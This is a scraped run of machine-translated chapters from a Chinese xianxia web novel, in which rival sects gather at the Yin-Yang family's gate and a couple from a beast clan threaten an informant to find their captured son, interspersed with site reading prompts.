    Mengzhu Nasha shook her head, "He didn''t say anything specifically, but just said that during this period of time, we have let us stand still and discuss with each other what is going on!"


    Shu Ling''er was taken aback for a moment, and then the smile on her face became even stronger, "Since this is the case, the Mengzhu girl will be the mainstay from now on!"


    "But if there is an order, Ling''er will obey herself, and she won''t say anything!"


    At almost the same time, a group of people came in the Luofu Gate of the Yin-Yang House.


    One of them was saying the same thing as Shu Ling''er.


    "Brother Lu, after entering the Yin-Yang house, I wish that you will be the master, everything but according to your instructions, there will be no other words in the next!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2512 All parties gathered (Part 1)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2513： All parties gathered (in)

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    It is Zhu Zhesheng who speaks.


    This descendant of the Zhu family who was once betrayed by a beloved woman, and even his ancestral business was occupied by others, is already a well-known spirit mine owner throughout the world.


    Especially in recent years, under his diligent exploration, several high-quality spiritual stone veins have been discovered in the Zhujia mining area.


    This allowed his wealth to rise again, and even surpassed the average sect, and became one of the second-rate sects.


    Don''t underestimate these second-rate sects, you have to know how vast the entire sky is, and there are so many sect families that are beyond count.


    Therefore, it is very rare to be ranked second in such a world.


    But even with such achievements, Zhu Zhesheng still maintained his previous living habits, without the slightest indulgence.


    Even over the years, he has stayed away from female sex, and he has truly been arduous and simple.


    And the reason why he did it was because he always positioned himself as a steward in his heart.


    A butler who manages wealth for Mr. Xue.


    He is a person who knows his gratitude, and he naturally knows how he got his current life.


    Without Xue An''s help, he would have been buried in Zuisheng downstairs, and the capital of the corpse would be rotten.


    What about cutting off Xiaoxiao and regaining control of the family business?


    Therefore, his heart has been secretly bulging, that is, to make himself better, so as to wait for Mr. Xue''s call at any time.


    Today, he finally waited for this opportunity.


    Unlike the previous time when Xue An was seriously injured and retreat in the Pharmacist Alliance, this time Zhu Zhesheng set off in person with the wealth accumulated over the years.


    For the Yin-Yang Family, Zhu Zhesheng hated him, because the former Linglong City was actually under the shelter of the Yin-Yang Family, so the Yin-Yang Family was inseparable from everything he encountered.


    Previously, it was only because the Yin-Yang family was strong, so Zhu Zhesheng could only choose to swallow silently.


    But now that Mr. Xue has already set out to deal with this Yin-Yang family first, how can he fall behind?


    However, Zhu Zhesheng is very self-aware, and he knows that he is in the slightest, just like the ants in the Yunxiao City where the strong are everywhere.


    That''s why he told Lu Yangyan what he had said before entering the house of Yin Yang.


    Lu Yangyan chuckled when he heard the words, "Brother Zhu is serious. We are all doing things for Mr. Xue. How can we talk about who is the master and who is the second? What we should do is to unite and cooperate to help Mr. Xue do things well. is the most important!"


    Zhu Zhesheng nodded, and then took a deep breath, "In that case, let''s go in!"


    "it is good!"


    The three of them stepped into the Louvre Gate.


    And not long after they left, a group of people appeared in front of the Louvre Gate.


    All the people in this group are dressed in Taoist costumes, and the leader is even more impressive, except that there is not the slightest amount of compassion that Taoism should have in those eyes, but full of evil spirits.


    He first looked up at this tall and majestic gate of time and space, and then let out a piercing laugh.


    "There is a faint smell of abandoned disciples here, obviously they have just left soon!"


    A young man behind him also nodded and said: "Yes, I can smell the familiar smell, so they are here too!"


    "It''s okay, it happened to be solved together!" The man licked his lips and smiled evilly.


    That''s right!


    The group of people who came were the people of the Funiu Mountain Zhenwu Taoist Temple who had been invaded and wiped out by evil spirits.


    The leader is Lu Zhongxuan, the master of the true martial art, who has turned into an evil thing.


    As for the young man behind him, it was natural that Lu Fei was the first to be taken into his body by evil, so that the entire Zhenwu Dao Hall was pulled into the water.


    Hearing the conversation between the two of them, the remaining members of the Zhenwu Taoist Temple did not show the slightest expression, and all stood there with a dull expression.


    After all, in terms of their strength, even if they were incarnate as evil things, they were of the lowest level, and naturally they didn''t have much spiritual wisdom.


    But one of the people in the crowd trembled slightly after hearing these words, but even if Xuan sensed something, he lowered his head deeply.


    Until Lu Zhongxuan and Lu Fei walked into the Luofu Gate with a smile, this man whispered in a voice that only he could hear.


    "Yang Yan... Xiaoya..."


    The tone was jerky and dry, and I hadn''t spoken for a long time.


    If Lu Yangyan was present at the moment, he would definitely recognize that the person speaking was his master, and he was also the best person in the entire Zhenwu Taoist view, Lu Zhengqing.


    This group of people also entered the Louvre Gate immediately.


    But today''s Louvre Gate is destined to not be peaceful.


    As the day of the Hundred Schools Conference is getting closer, the whole sky is boiling.


    Whether they are eligible to participate or not, everyone wants to take a look at this rare excitement.


    In particular, this year''s Hundred Family Conference happened to be seamlessly connected with the assembly of the Pharmacist Alliance, so many sect families did not go back after coming out of the Pharmacist Alliance, but went straight to the Yin Yang family.


    For them, even if they are not eligible to enter, it is always good to have an eye-opener and take a look at the excitement.


    As for those clan families who are eligible to enter the venue, they are struggling to shine and achieve a good result in this Hundred Families Conference.


    In this situation, the void outside the Louvre Gate became more and more lively.


    This person who didn''t really martial art had just left for a while, and another group of people came to the front.


    Only this time, no one guessed their identities anymore, because in their team, two big flags were erected.


    The front pole has a big character written on it, and the back pole is slightly smaller with the character Yue written on it.


    Just under the banner of the word Yue, there was a young man with noble temperament standing proudly, just standing there simply attracted the attention of all the people present.


    It is Yue Shifang of the military strategist.


    As one of the hundred schools of ancient times, military strategists are naturally treated differently.


    When they arrived in front of the Luofu Gate, they saw the brilliance on the Luofu Gate began to flicker, and then they transformed into an illusory but powerful figure, and clasped their fists and arched their hands at Yue Shifang.


    "The Yin Yang Family welcomes the master of the military family!"


    The sound vibrates the void, UU reading is eye-catching.


    Yue Shifang just smiled, then opened the folding fan and said lightly.


    "The last time I came here was two thousand years ago. I didn''t expect you to know me!"


    This figure chuckled, "The famous Master Yue Shifangyue, how can I not know?"


    Yue Shifang chuckled, then turned his head and rushed to the second girl aside and said, "Have you seen it, this guy has been standing here for tens of thousands of years, and his other skills have not improved, but his mouth is smooth, but he has learned a lot of transparency!"


    The second girl covered her mouth and chuckled, but did not speak.


    On the contrary, Yue Junze who followed behind couldn''t help but groan.


    "Fuck, this... this guy is actually the incarnation of Louvremen?"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2513 All parties gathered (middle)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2514： All parties gathered (below)

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    This figure chuckled, "Don''t be so excited when you speak, that''s right, this seat is the incarnation of this Louvre door!"


    Yue Junze looked dumbfounded and wanted to say something, but when he saw Yue Shifang sway the folding fan, he smiled and said: "Okay, you still call yourself this seat, open the door quickly!"


    The Luofu Gate opened at the sound, and a road winding inward appeared.


    "Please!"


    The arrival of military strategists has made the already boiling situation even more enthusiastic.


    Because Yue Shifang and his party can be regarded as the earliest one among all the ancient families.


    Other aristocratic families such as Confucianism and Legalism have yet to show up.


    As for Taoism...


    Although many schools have come, none of the recognized Taoist orthodox Quanzhen and Zhengyi two schools have appeared.


    In this way, many people can''t help but think to themselves.


    It stands to reason that at this time, even people who have determined their status should have arrived. Could it be that these aristocratic families have other views on this Hundred Families Conference or the Yin Yang Family?


    However, the arrival of military strategists can be regarded as breaking this rumor to a certain extent.


    But the group of people who appeared immediately afterwards really detonated the public opinion before the event.


    Those who came were a group of well-dressed men with Eguan Bo belts.


    Although they are the most old-fashioned costumes, they don''t have the slightest bit of decay on these people. On the contrary, they are majestic and extraordinarily dazzling.


    Especially the three people walking in the front, the clothes are slightly different from the others.


    The leader is wearing a purple robe, embroidered with simple and simple moire patterns, which fully demonstrates his dignity.


    Behind him stood two men, one on the left and the other on the right. The one on the left was dressed in azure clothes with a beard under his jaw, and his eyes were very energetic and very elegant.


    But even with such excellent two people, the man standing on the right hand side took away the limelight.


    I saw this person in a plain white shirt, a long jade body, and not very old, but at first glance, you will spontaneously give you a thought of being a modest gentleman who is as gentle as jade.


    The appearance of their group of people immediately made the Louvre Gate become lively.


    The people who were going to enter it didn''t leave either, but got together and talked in a low voice.


    "God, aren''t these the three owners of Bailu Village!" Someone was shocked.


    "Hey, all the disciples following are from Shigu Cave, Yingtian Academy and other Confucian holy places. It seems that Confucianism has been exhausted this time!" Someone marveled.


    "The Confucianism has finally come, and as soon as it comes, it has such a big battle, it seems that it is bound to win this Hundred Schools Conference!" Someone sighed.


    It''s no wonder that these people have changed so much. It''s really that the people sent by Confucianism are too powerful.


    You must know that the strength of Confucianism is already among the best in this world, and there are even rumors that they have surpassed Taoism and sit firmly on top of the world.


    It''s just that these statements are different, and it''s hard to tell the truth from the false.


    But one thing is certain, that is, the strength of Confucianism has indeed been continuously increasing in these years.


    This is due to the special composition and teaching methods of Confucianism.


    Unlike Taoism��s contending of a hundred schools of thought and Yin-yang��s thriving, Confucianism has always adopted a college system.


    This system has been implemented since the ancient times when the Supreme Immortal founded the Confucian School, and it has continued to this day.


    The so-called college system means that the disciples accepted are divided into different colleges according to the different talents of Huigen, and they are given different educations.


    This is what the Supreme Immortal said to teach students in accordance with their aptitude.


    The benefits of this method are self-evident, the first is that Confucianism has always maintained a strong vitality.


    It is not like Taoism, because it is too open, leading to a dangerous edge of falling apart.


    And the Confucian children who came today are naturally representatives of Confucian higher institutions. Among them, Yingtian Academy and Shigudong are second to none among Confucian academies.


    But the most surprising thing is the first three dealers.


    Bailu Village!


    The place where the Supreme Immortal gave lectures was also the sacred place of the entire Confucianism, the core of it.


    These three villagers naturally represent the highest level of Confucianism today.


    The owner of the great village is Yan Jingcheng, who majors in Haoran Mind. He is a leading figure in Confucianism today, and his strength is unfathomable.


    The owner of the second village is named Zhang Zhixing, and he majors in the method of forgetting the mind. His strength and prestige are second only to the owner Yan Jingcheng.


    But the most impressive, and the strongest Confucianism in recent years, belongs to Luo Linyuan, the owner of the three villagers.


    It is not only because of his youth, but more importantly, what he has studied is the most difficult Confucian Ibu Tianshu, and he has extremely deep attainments.


    This has also made his strength unimaginable, and there are even rumors that he has far surpassed the big boss Yan Jingcheng and reached an unimaginable height.


    It can be said that these people who came today are all the most outstanding figures in Confucianism.


    So when the onlookers saw them, they couldn''t help but be shocked.


    now.


    I saw this group of people approaching Luofu Gate, and then Zhang Zhixing looked up at the gate of time and space, and couldn''t help laughing.


    "Brother, I really didn''t expect that even a gate of time and space can be cultivated to be refined. What kind of life is this?"


    Yan Jingcheng''s face was serious, but he didn''t answer his words. Instead, he said in a deep voice: "There is the murderous spirit of a soldier, it seems that Yue Shifang and the others have already come!"


    "It''s not surprising. If the serious injury that lasted for tens of thousands of years was suddenly healed if you put me on hold, I could not help but wander around! Do you think you are little brother?"


    Zhang Zhixing smiled and looked at Luo Linyuan on the side.


    Because he knew that Senior Brother would definitely not respond to his words.


    It��s still a little bit more fun.


    really.


    Luo Linyuan smiled slightly, "The second brother is absolutely right!"


    His voice is clearer and clearer, combined with his gentle and jade temperament, it really looks like the person in the painting.


    This also caused many women in the crowd to lose their minds, and they couldn''t help but stare at him.


    As if he had noticed this, Luo Linyuan''s cheeks flushed slightly, and then turned his head to avoid these fiery gazes.


    "Hahahaha, what are you blushing, little brother? Young Muai, young girl Huaichun, this is a normal thing, you can only make people even more heartwarming!" Zhang Zhixing exaggerated and laughed.


    Luo Linyuan''s face turned redder after a while and the result was as Zhang Zhixing said, the shyness of this teenager made these women''s eyes shine, and they wished to swallow Luo Linyuan in one bite. Go down.


    Zhang Zhixing patted him on the shoulder. Just when he wanted to say something more, he heard the big brother Yan Jingcheng solemnly say: "Okay, don''t be noisy. Confucianism pays attention to righteous thoughts and dignity. How can you yell like this? of?"


    Zhang Zhixing stuck his tongue out and dared not say anything.


    It wasn''t until Yan Jingcheng walked far that he couldn''t help but whispered: "Are the people who practice the Haoran Mind Method so boring? Fortunately, what I practice is the sitting and forget the Mind Method. If I become a master like a master, it would be true. It''s better to die! Do you think it''s younger brother!"


    Luo Linyuan shook his head, "I don''t know!"


    "I don''t know? There is still something you don''t know about in the world? You have inherited the Ibu Tianshu of the Most Holy Master. Come on, give me a divination for brother, and see when I can meet the girl I like!"


    As soon as the voice fell, I heard a cold drink from a distance, "Second Junior Brother!"


    Zhang Zhixing shrank his neck and smiled, but he kept winking at Luo Linyuan, motioning him not to forget what he had just said.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2514 All parties gathered (below)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2515： Zhuzi 0

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Luo Linyuan couldn''t help laughing or crying, but he had no choice but to nod his head helplessly.


    Zhang Zhixing just smiled, and then turned around to follow the big brother into the Louvre Gate.


    But at this moment, the real Confucian bullshit''s expression suddenly became very serious.


    What Zhang Zhixing was most afraid of was seeing his senior brother scowling, so he immediately closed his mouth and said nothing.


    "Dare to ask if the person who came is the Dragon Slasher of the Zhengyi School?" Yan Jingcheng said solemnly.


    Everyone followed his gaze one after another, but saw that the void was still there, and there was no trace of anyone.


    But the next second, I saw the void suddenly ripples, and then quickly condensed a number of figures.


    The leader wore a plain sermon gown, and his beard and beard under his jaw were like snow, and he looked like a fairy-style dao bone.


    There was a commotion in the crowd, because many people had already recognized the people.


    It is He Tianxuan, the leader of the Taoist School of Zheng today!


    But what he knows best is his Taoist name, Immortal Master of Slashing Dragon.


    Therefore, he is also called He Zhanlong.


    And behind him are the elites of the righteous faction, which can be described as the masters, and the momentum is extraordinary.


    After seeing Yan Jingcheng, the Dragon Slayer Immortal Master He Tianxuan smiled slightly.


    "Zhuang Zhuang, long time no see, the style is better than before!"


    Yan Jingcheng''s pupils shrank slightly after seeing He Tianxuan''s appearance, but soon returned to normal, and then chuckled.


    "It''s the same with the immortal master, Dao Fa has diligence again!"


    The words of the two of them all meant something, but on the surface they maintained a state of harmony.


    "Since we met in front of Luofu Gate, how about going to Yunxiao City together?" He Tianxuan said.


    "That''s what I mean!" Yan Jingcheng said.


    Then the two looked at each other, and each stretched out their hands to lead them forward, "Please!"


    With that said, the two walked side by side into the Louvre Gate.


    When they left, Zhang Zhixing couldn''t help muttering in a low voice: "I obviously want the other party to lose in my heart, but on the surface he has to pretend to be calm and gentle, and to be polite and humbly. It''s really hard for both of them. That''s great acting!"


    "Second brother, what are you talking about?" Luo Linyuan couldn''t help asking when he saw Zhang Zhixing''s muttering in his mouth.


    "Ah! It''s nothing, big brother has already gone in, let''s go too!"


    "Um!"


    Under their leadership, the remaining Confucian children kept a proper distance from these Zhengyi scholars, and then walked into the Louvre Gate one after another.


    When they left, the crowd onlookers couldn''t help but burst into heated discussions.


    "It seems that the relationship between Taoism and Confucianism is not very good!" Someone stunned.


    "You are wrong. It''s not that there is a gap between Taoism and Confucianism, it''s simply that there is an irreconcilable contradiction between the Confucianist Bailuzhuang and He Zhanlong!" Someone laughed.


    "Oh? Why do you say that?"


    "This will involve a secret from that year. Do you know why this He Tianxuan is called the Dragon Slasher Immortal Master?"


    "Could it be that he actually slashed a dragon back then?"


    "The answer is correct, and it wasn''t the ordinary karma dragon that was slashed, but the Eastern Azure Dragon, one of the four ancient beasts!"


    hiss!


    Hearing this, many people took a breath.


    The status of creatures like dragons in the outer heavens is actually quite embarrassing. Although their bloodlines are very powerful, they are born with extremely strong strength.


    But it is precisely because of this strong bloodline that their upper limit has been fixed.


    Therefore, in the eyes of the real masters of Tian Waitian, this dragon race is not a powerful race.


    Even many of the medicinal materials needed for alchemy come from the dragons themselves, so many bounty hunters specialize in hunting dragons.


    However, the Eastern Azure Dragon, one of the four ancient gods, was different from the dragons born from these chemical karma. It itself originated from the chaotic energy of the ancient times, and was a real dragon with extremely powerful strength.


    But this He Tianxuan was able to slay the Eastern Azure Dragon, which shows its tyrannical strength.


    "But what does it have to do with the hatred between him and this Yan Zhuangzhu?" Someone couldn''t help asking.


    "The problem is precisely here, because the Eastern Azure Dragon that He Tianxuan killed is the offspring of the patron saint beast of Bailuzhuang!


    At this time, the speaker said in a sighing tone: "The most sacred Confucian master traveled around the world, preaching and preaching, and finally established the Bailu Academy under Bailu''s kneeling request, which is the unfailing Bailuzhuang. Predecessor!"


    "But the outer sky at that time can be described as a wild land, with various powerful gods and demons emerging in an endless stream. Ordinary human races can be said to live in deep waters. Therefore, in order to create a quiet place for teaching the Fa, it is also to give future generations of disciples a blessing!"


    "This sacred master has signed an agreement with the Dongqinglong clan guarding the heaven and the outer sky at that time with supreme strength, making them the guardian clan of Bailu Village!"


    This person talked eloquently, telling the secrets of the year, and also fascinated many young people present.


    "No wonder the owner of Bailuzhuang is hostile to this He Tianxuan. His patron saint beast was killed. This can''t be tolerated by anyone. Then how did you solve this later?"


    "How to solve it?" The man chuckled lightly.


    "At that time, Yan Jingcheng, who had just become the owner of the Bailu Village, came directly to the gate of the Zhengyi school and talked with this He Tianxuan in the grass house for three days. The final result was that He Tianxuan apologized to the Dongqinglong clan on behalf of the Zhengyi school. As for what happened in the Cao Lu at that time, it is unknown!"


    After saying these things, there are still some good things that people still want to ask this person for some details.


    But the man seemed to be aware of something, his complexion changed slightly, and then he bowed his hand at everyone.


    "Sorry, I almost forgot the time when I chatted with you. I still have something important, so I''ll retire first!"


    Said this person turned around and went to the Luofu Gate.


    The rest of the people present looked at each other I don''t know what happened to this person.


    And just as this person turned and left, two figures in the crowd quietly left, and then followed.


    After passing through the Louvre Gate, there is a bustling street facing you.


    This street is not built on the planet, but directly set up in the void, and is condensed with various talisman seals under the feet, even ordinary people can go smoothly in it.


    This is the very famous Tianjie of Yin Yang Family.


    There are a variety of shops on this street, and many of them are specialty products from the Yin Yang family, which are not available to the outside world. Therefore, it attracted many sect families who came here to participate in the Hundred Family Conference.


    Just the items sold in the past few days have made the Yin Yang family earn a lot of money.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2515), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2516： Gluttonous parents

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    And this means of making high profits at the same time, obviously comes from the hands of the merchants.


    We must know that among the hundreds of ancient schools, there are not only powerful sects such as military strategists, Confucianism, and Taoism, but there are actually many sects that are slightly weaker, but are extremely good at certain aspects.


    This merchant is one of them.


    Speaking of the strength of this business, in fact, it is not particularly weak, at least much stronger than that of novelists, famous artists, etc.


    They are especially good at finding business opportunities and then earning high profits through various means.


    This allowed their wealth to grow sharply.


    But Tianwaitian is a world where the weak and the strong eat the strong. It would be a disaster to have huge wealth without the ability to protect it.


    After several times of being forced to gamble, the merchant finally woke up, and then resolutely took refuge in the Yin Yang family.


    Since then, the Yin-Yang family is responsible for providing protection to the merchants, and the merchants use their strengths to make money for the Yin-Yang family.


    The two complement each other, leading to their growing strength in recent years.


    And this model quickly became popular and was used for reference by other clan families.


    For example, novelists have already turned to Confucianism and become a branch of it.


    The masters who are good at sophistry have sold themselves to legalists and become a sharp weapon in their hands.


    This general trend is unstoppable. Apart from the lament of some people, they said that from then on, there will be no one in the hundred schools. The strong will become stronger and the weak will remain weak. No one has expressed any opposition to this.


    The reason is also very simple. In the face of absolute strength, any literal opposition seems so weak and weak.


    At this moment, the man who just talked about it was walking on this sky street in a panic.


    His face no longer had the calmness that he had just talked about, but was full of panic.


    And looking back from time to time, it seemed that there was something terrible behind him.


    But although his speed is fast, he is not as fast as the two figures that follow.


    They saw them hurriedly walked behind this man, and then without waiting for him to react, they held him in an unmanned corner beside Tianjie.


    "My lord is forgiving, my lord is forgiving. I was just idle and fine talking nonsense. If there is anything to irritate you, you should treat me as farting, and don''t be like me!" This person was stunned at the time. Begging for mercy.


    But the two of them were not moved at all, they just looked at him coldly, and then said in a deep voice.


    "Do you know who the two of us are?"


    "No... I don''t know!"


    Snapped!


    A loud slap in the face.


    "I don''t know what you are doing so fast?" The man who was dressed in a strange gray robe and even his face was covered with a cloak shouted in a deep voice.


    Although the mouth and nose bleeds from the fan, the man dare not even complain at all, but keeps nodding his head.


    "Yes, yes, you are right, you are too naive, as long as you can spare my life, you can fight!"


    "Haha! Do you know how to measure!"


    This grey-robed weird sneered a few times before suddenly raising his tone, "Let me ask you, where did you hear the words you just said in front of others?"


    "It''s the little...the little one I heard it accidentally!"


    "I heard it?" The man snorted coldly.


    The person next to him who also covered his face with a cloak suddenly said, "Mian, don''t be polite with such a person, just eat his brain, and then search for useful information?"


    The voice was soft and beautiful, but it was like the sound of **** in this man''s ears.


    "Spare... forgive me, I really didn''t talk nonsense when I was young, you know, I was a miscellaneous person before!"


    Hearing him mentioning the word miscellaneous family, the two looked at each other, and there was a hint of surprise in their eyes.


    Zajia was originally a collective term, because this family sect was very special, and he did not have the clear purpose or genre of other sects.


    In fact, it is only for their own benefit, and they will use it without hesitation.


    This has also led to their capriciousness and selflessness.


    If things go on like this, under the squeeze of other families, it will eventually fade away.


    But this family has a special ability, that is, it is extremely good at collecting and processing intelligence.


    It may also be due to their nature, they can easily filter out the information that is useful to them from the sea of ??information.


    This also led to their gradual decline, but the disciples among them were absorbed by various sects.


    After all, for any sect family, intelligence is very important.


    "Since you are a miscellaneous person, then I will believe you once, but you must answer truthfully what I ask next. If there are half words to hide, be careful of your head!"


    "Yes, yes! The little one dare not hide it!"


    "Since you are familiar with the history of the Hundred Family, do you know the Exquisite City established by the Yin Yang Family in Outland?" the gray-robed man said solemnly.


    The miscellaneous disciple nodded, "I know this, but the Linglong City is actually just a name of the Yin and Yang family, and the specific executors still rely on their business!"


    In those days, the merchants immediately started various big moves after they took refuge in the Yin-Yang family, and this Linglong City was one of them.


    This is not a big secret in the whole Tianwaitian, many people know it.


    "Okay, then do you know that the Yin Yang family ever caught a juvenile gluttony?"


    Gourmet!


    These two words shocked the disciple of the miscellaneous family, and finally understood why he felt a strange and powerful breath just nowyou...you... "


    "Yes, we are the gluttonous clan, and the captured little gluttony is my descendant!"


    Following the voice, the gray-robed man''s eyes flashed.


    Then this miscellaneous disciple felt that there were two huge monsters in front of him. It was one of the legendary ancient beasts, a gluttonous food!


    Just as this distracted thought disciple was in a great panic, the illusion suddenly dissipated, and then the gray-robed man sneered.


    "Since you already know our identities, you naturally know the fate of deceiving us. Now tell me that the Yin Yang family took a gluttonous food, do you know?"


    The disciple of the miscellaneous family shook his whole body, and then said with difficulty: "I have indeed heard about it. After I heard that this underage glutton was arrested, he was sealed under the Linglong City, and used its blood to nurture people''s hearts. Greed, so that they can earn more profits!"


    "Yes, but that Linglong City is now abandoned. We searched there for a while. Except for the breath left by the child, there was nothing left. Do you know its whereabouts?" The gray-robed man was anxious. road.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2516 Taotie Parents), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2517： Inquire about news

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    "This...I don''t know about it!" The miscellaneous disciple said very hard.


    "Msang-gong, why are you polite with such a person? Just swallow it!" The woman next to her said in a cold tone.


    Hearing this, the miscellaneous disciple trembled all over, and the cold sweat came down at that time.


    He has no doubt about the authenticity of what the woman said.


    After all, that''s gluttonous!


    One of the ancient fierce beasts, eating individuals is simply a normal thing.


    "That''s right, since he doesn''t know the whereabouts of his son, forget it!" the man also said.


    "Don''t don''t, I don''t have a clue about this, but as long as you give me some time, I can definitely find out!"


    "Really?" The man said solemnly.


    "Of course it is true, have you forgotten, I came from a miscellaneous family who is best at detecting intelligence!"


    "Although I have retired now, many of the contacts left before are still there. Just give me one day, no, at most half a day, I will definitely be able to find the whereabouts of the young master for you two!"


    "Well, in this case, then we will believe you once!" After saying this, the man waved his hand.


    A beam of brilliance directly submerged in the eyebrows of this miscellaneous disciple.


    "This is the breath I planted in your sea of ??knowledge. If you dare to lie to us, your head will burst like a rotten watermelon, understand?"


    "Yes, yes! The little one understands!"


    This miscellaneous disciple repeatedly promised, but secretly cried out in his heart.


    I was thinking of using words to prevaricate them, but I didn''t expect that these two fierce beasts were not fools, and they did nothing.


    So he had to dispel the delusion in his heart and began to seriously ponder how to inquire about the news.


    "At midnight today, we are still meeting in this place, and I will provide information about the young master at that time!" After a moment of contemplation, the miscellaneous disciple said in a deep voice.


    "Okay! Jiang Cunliang, I hope you can faithfully fulfill the agreement. If you don''t, you will weigh the consequences yourself!"


    After all, the gluttonous couple turned and left, leaving Jiang Cunliang standing alone, his face a little pale.


    He didn''t expect that this gluttonous man would break his real name with a single word.


    If he had the illusion that he wanted to find a fake news to fool the other party before, then he has not dared to have the slightest fluke mentality now.


    But the question is how to find out the news?


    Although he just claimed that he has a lot of contacts who can provide information, it is just to deal with the temporary excuses that the gluttonous couple came up with.


    Don''t say that he has quit the miscellaneous family now, even if he hasn''t quit, he is just an ordinary child. In this extremely real world, with his existence, how can he talk about the word "personality".


    After thinking about it for a long time, there is really no good way. Jiang Cunliang can only bite the bullet and return to Tianjie, ready to try his luck in the tavern and tea shop.


    In case someone needs to know the news!


    At the same moment, the gluttonous couple had already arrived somewhere in Tianjie.


    When it was determined that no one was following and the people around did not pay attention to herself, the woman couldn''t help letting out a sigh, and then whispered.


    "Msang Gong, do you think this Jiang Cunliang can really find out the whereabouts of our son for us?"


    The man sighed and shook his head.


    "I don''t know, but there is always a little more hope for multiple people, and he is also a miscellaneous person at any rate, and he is better than us when inquiring about the news."


    The woman''s eyes filled with tears unknowingly, "I don''t know how my son is now, is he still being imprisoned!"


    The moment she cried, the man''s mood became heavy.


    They are indeed members of the gluttonous family.


    But even though they are fierce beasts that originated from ancient times, this gluttonous clan has now declined severely.


    The entire ethnic group is only a few dozen, and all of them live in the deserted empty desert.


    Speaking of which Jiang Cunliang is afraid of gluttony, why are they not afraid of people.


    If it weren''t for finding a lost son, the gluttonous couple would never take a huge risk, disguised as an adult, and set foot on this territory.


    You must know that they are fierce beasts, and their temperaments are completely different from the human race. In addition, they have lived in the void for a long time, and they don''t know anything about the outside world.


    Therefore, after arriving at the territories ruled by the human race, it can be described as a black eye.


    In this whole year, they have been running around meaninglessly, but there is no clue at all.


    It wasn''t until they heard the news about the Hundred Schools Conference that they had a whim and decided to try their luck in this Yin-Yang home.


    But they also know that there will be many top human race powerhouses on top of these hundreds of conferences. These existences are far beyond their own can provoke, and even if they reveal their whereabouts, they may not even be able to protect themselves.


    Therefore, they are extremely cautious along the way, for fear of revealing their identity again.


    Usually, I don''t dare to make too much contact with people.


    In this way, they are of course even less likely to hear any news.


    Until this time, by chance, the two of them heard this Jiang Cunliang talk outside the Luofu Gate.


    The two of them decided at the time that this person must be well-informed and might know the whereabouts of their children.


    That''s why he did not hesitate to take the risk to come forward and control this Jiang Cunliang.


    The gluttonous couple went to wait for the news without mentioning.


    This Jiang Cunliang thought for a long time, and finally made up his mind to come to a restaurant located somewhere in Tianjie.


    In this bustling commercial area, there are many natural restaurants.


    But the restaurant in front of Jiang Cunliang was different because it was directly operated by the Yin Yang family.


    The scale is the largest in the entire Tianjie, and it has many unimaginable precious ingredients.


    Coupled with the background of the Yin Yang family, no one dares to make trouble here, so there are a lot of guests coming and going. If you want to inquire about the news, this is definitely the best choice.


    At the moment when it is lively, this restaurant can be said to be full of people, almost full of seats.


    Looking at the glamorous clothes in front of the door, Jiang Cunliang couldn''t help but sigh.


    This business is worthy of being the best sect of the whole Tian Waitian who is good at drilling camps and seizing opportunities. Since joining the Yin and Yang family, his career has been thriving, and his influence has also risen.


    Not to mention anything else, the profit brought by this sky street alone is an astronomical figure.


    Therefore, the children of these merchants all ascended to heaven, possessing a status that was unimaginable before.


    For example, these shop''s little two should be the peripheral children of the merchants.


    Look at yourself again, although the disciples who are both from Xiaozongmen, they are far from others.


    Even now he was threatened by two gluttonous beasts, it was really a sky and an underground.


    In order to facilitate the next reading, you can click the "Favorites" below to record the reading record of this time (Inquiry in Chapter 2517), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2518： Arrival of Mohist School

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    Jiang Cunliang was envious for a moment, and then stepped forward to get in.


    But at this moment, a group of people suddenly appeared on the long street.


    The appearance of this group of people quieted the originally noisy street, and then the crowd took the initiative to separate a road, and many people looked at this group with eyes mixed with curiosity and consternation.


    Jiang Cunliang couldn''t help turning his head and looking around.


    This is a group of men in black.


    This is not surprising.


    The key point is that the black clothes worn by this group of people are extremely simple or even crude linen. At the same time, they only wear a pair of straw shoes under their feet and a small package on their backs, which is obviously a long journey.


    Despite their simplicity, these people''s eyes were bright and firm, and their expressions were very calm, as if they were wearing the most gorgeous clothes in the world.


    When he saw this group of people, Jiang Cunliang was also taken aback, and then he couldn''t help but exclaimed in a low voice.


    "My God, it''s the Mo Family!"


    It seems that after hearing his shout, the man in black who was walking in the front turned his head and looked at him.


